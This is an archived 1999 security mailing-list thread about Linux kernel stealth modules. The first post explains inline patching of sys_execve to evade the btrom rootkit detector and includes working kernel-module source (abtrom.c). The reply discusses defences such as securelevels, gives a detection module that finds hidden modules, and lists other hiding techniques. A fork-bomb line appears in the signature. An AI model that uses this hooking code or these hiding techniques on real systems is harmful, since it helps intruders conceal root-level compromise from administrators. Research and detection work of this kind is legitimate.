yet another article about stealth modules in linux.


riq (riq@CIUDAD.COM.AR)
Sat, 28 Aug 1999 14:40:31 -0300


abtrom: anti btrom
..................

Preface:
........
I've seen many stealth modules for Linux. New ways of of hiding the modules are
found, so the 'lsmod' cant find them, etc, etc. But the problem is that all
those modules hook the 'system call table' putting there their function.

Introduction:
.............
The "abtrom" is the "anti btrom" (btrom is a trojan eraser), and hooks the
system calls whitout using the sys_call_table.

Why it is not convenient to use the sys_call_table?
Using the sys_call_table to hook a system call is the 'right way', but it is
not for a stealth module, because programs like "btrom" can detect that, and
having the 'System.map' (file that every paranoic administrator must have),
every stealth module can be disabled ("btrom" uses this technique).

Ok, lets talk about the abtrom's technique. Take, for example, that we want
to hook the system call "sys_exeve".
Disassembling that function...
kdb> id sys_execve
        sys_execve: pushl %ebp
        sys_execve+0x1: movl %esp,%ebp
        sys_execve+0x3: subl $0x10,%esp
        sys_execve+0x6: pushl %esi
        sys_execve+0x7: pushl %ebx
        sys_execve+0x8: addl $0xfffffff4,%esp
        sys_execve+0xb: movl 0x8(%ebp),%eax
        sys_execve+0xe: pushl %eax
        sys_execve+0xf: call getname

Note that the instruction that it is the 6th position occupies only 1 byte.
(That's important).

What we have to do, is to place a 'jmp to_our_hooked_function' there.
Something like this:
        movl hooked_execve, %eax
        jmp *%eax

and that occupies 7 bytes, so we're going to overwrite the first 7 bytes
of the sys_exeve function (luckyly we wont 'break' and instruction).
Ok, before puting our jump there, we must backup those bytes.
And now, in our 'hooked_execve' we must place a jump to the backuped bytes.
Following with our example:

char original_bytes[20]; /* backuped bytes */
void hooked_execve( void )
{
        asm volatile( "jmp original_bytes;" );
}

and after running the backuped bytes, we must 'jump to sys_execve+7' to
continue the sys_execve code.
That's all.

The sys_exeve would look something like this:
kdb> id sys_execve
        sys_execve: movl $0xc8434050,%eax
        sys_execve+0x5: jmp *%eax <- Note that none of the
        sys_execve+0x7: pushl %ebx <- instructions were 'broken'
        sys_execve+0x8: addl $0xfffffff4,%esp
        sys_execve+0xb: movl 0x8(%ebp),%eax
        sys_execve+0xe: pushl %eax
        sys_execve+0xf: call getname

Notes: In 'our_sys_excve' we must restore the stack before doing the jump.
Look the in the abtrom.c for and example.

Another way to do the jump is (this occupies 1 byte less):
        push $address
        ret

So, why dont we build the 'Anti abtrom'?
It's possible, but it is difficult, because a 'jump to_our_function' can be
placed in many parts of the code, and can be disguised in many ways.

Epilogue:
.........
Maybe, it's easier to prevent these cases.
Anyway, supossing that we have an intruder with 'root' access in our machine,
(and our kernel is compiled with module support) we can stop this attack with
this:
  * Put the kernel's code memory pages as read-only (this way we can't
        overwrite the sys_execve and others sys_calls).
  * Then we must put the page tables, also, as read-only.
  * And finally, when the exception comes from the 'kernel' (this is easy to
        verify. btrom uses this ), let the exception pass, otherwise consume
        it.
 

For info about 'btrom' take a look at:
        Phrack #54 ( http://www.phrack.com ) or
        http://www.pjn.gov.ar/~rquesada/progs.html

Thanks Bombi, Hernan, Pipa, Gera, Kato, Wari for their ideas.

riq.

--
-------------------------------------------------------------------------------
Ricardo Quesada <ricardo_quesada@core-sdi.com> Corelabs CORE SDI S.A. Pte. Juan D. Peron 315 4to UF17 (1394) Buenos Aires, Argentina. TE/FAX: +54-11-43-31-54-02 +54-11-43-31-54-09 PGP fingerprint: CA40 F378 929A 854C C67B 161F 1115 B0F8 90AA E0C0 -------------------------------------------------------------------------------

<*- abtrom.c -*> /* * abtrom: anti btrom * 22/08/99 by riq * v0.2. * * compile with: * gcc -c -O2 abtrom.c * * This module was tested in: * kernel 2.2.10 * kernel 2.0.36 * */

#define MODULE #define __KERNEL__ #include <linux/module.h> #include <linux/version.h> #include <syscall.h> #include <linux/unistd.h> #include <linux/sched.h>

extern void *sys_call_table[];

unsigned char ab_jmpcode1[7] = "\xb8\x67\x45\x23\x01" /* mov $address, %eax */ "\xff\xe0"; /* jmp *%eax */

unsigned char ab_bcode[20] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" /* 13 nops */ "\xb8\x67\x45\x23\x01" /* mov $address, %eax */ "\xff\xe0"; /* jmp *%eax */

void abtrom_hook( int a) { printk("sys_execve is hooked by abtrom\n");

asm volatile ( "mov %ebp, %esp;" /* restore stack */ "popl %ebp;" "jmp ab_bcode" ); }

int abtrom( int numero ) { int i; char *ptr; unsigned int addr;

addr= (unsigned int) &abtrom_hook;

ptr = (char *) &addr; /* get from_jump address */ for(i=0;i<4;i++) ab_jmpcode1[1+i]=ptr[i];

ptr = sys_call_table[numero]; for(i=0;i<7;i++) { ab_bcode[i]=ptr[i]; /* backup overwritten bytes */ ptr[i]=ab_jmpcode1[i]; /* hook */ }

addr = (unsigned int) ptr+7; /* get to_jump address */ ptr = (char *) &addr; for(i=0;i<4;i++) ab_bcode[14+i]=ptr[i];

return 0; }

int init_module(void) { abtrom(__NR_execve); /* hook the EXECVE function */

/* Ocultar el modulo de la manera que mas les plazca. Si van a usar -fomit-frame-buffer, modificar la forma de restorear el stack.

Como está, no queda oculto. */

return 0; }

void cleanup_module(void) { int i; char *ptr;

ptr = sys_call_table[__NR_execve]; for(i=0;i<7;i++) ptr[i] = ab_bcode[i]; /* restore de hook */

printk("abtrom: Bye.\n"); }


[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

re, anti btrom



hi,
Sorry for somewhat late reply...

>Why it is not convenient to use the sys_call_table?
>Using the sys_call_table to hook a system call is the 'right way', but it is
>not for a stealth module, because programs like "btrom" can detect that, and
>having the 'System.map' (file that every paranoic administrator must have),
The problems are:
1.) If you assume you have a breakin, you can't depend on System.map
    or something else. Attackers may even install a new kernel, not only modules.
2.) New and unknown technics maybe exist that you don't know and scanners like
    btrom die on that. Thus you may think that all is OK, but it isn't. :(
3.) => Securelevels such as BSD's make the kernel more trustworthy even if you
    think that someone broke in.

What i have seen in the most hacker/backdoor modules is that they do somethink like

    mp->name="";
    mp->size=0;

but not really remove the module from the list.
So you could write somethink like radar.c (once written to bypass EoE) which could
maybe help you:


/*** Used to detect stealth modules. ;-)
 ***/
#define __KERNEL__
#define MODULE
#include <linux/module.h>

int init_module()
{
        int i = 0;
        struct module *m = &__this_module;

        while (m) {
                printk("Found %s\n", m->name);
#ifdef KILL_EOE
                if (strstr(m->name, "eoe")) {
                        for (i = 0; i < GET_USE_COUNT(m); i++)  
                                __MOD_DEC_USE_COUNT(m);
                }
#endif
                m = m->next;
        }
        return 0;
}

int cleanup_module()
{
        return 0;
}


OK, you maybe see output like 'Found: ' which shows you 'Aha! there is something
that hides itself', because name="". Be happy as long as you can see the
not-so-stealth modules.
So. But this is only a special solution, as _all_ scanners would be a special solution
which would all die on technics like

        o not hooking syscalls, but stealing ...->files->fd[i]->f_op or
          replacing it.
        o unregistering/registering drivers on the fly ;-)
        o deleting modules from the list, either as described in
          stealth.c or with other teks
        o etc.

Oh ... when does securelevels appear in Linux ... :-)

Stealth


: ---- main(){fork();main();} ----
: Hi! I'm a .signature virus! Copy me into your ~/.signature, please!
: Stealth <-> http://www.kalug.lug.net/stealth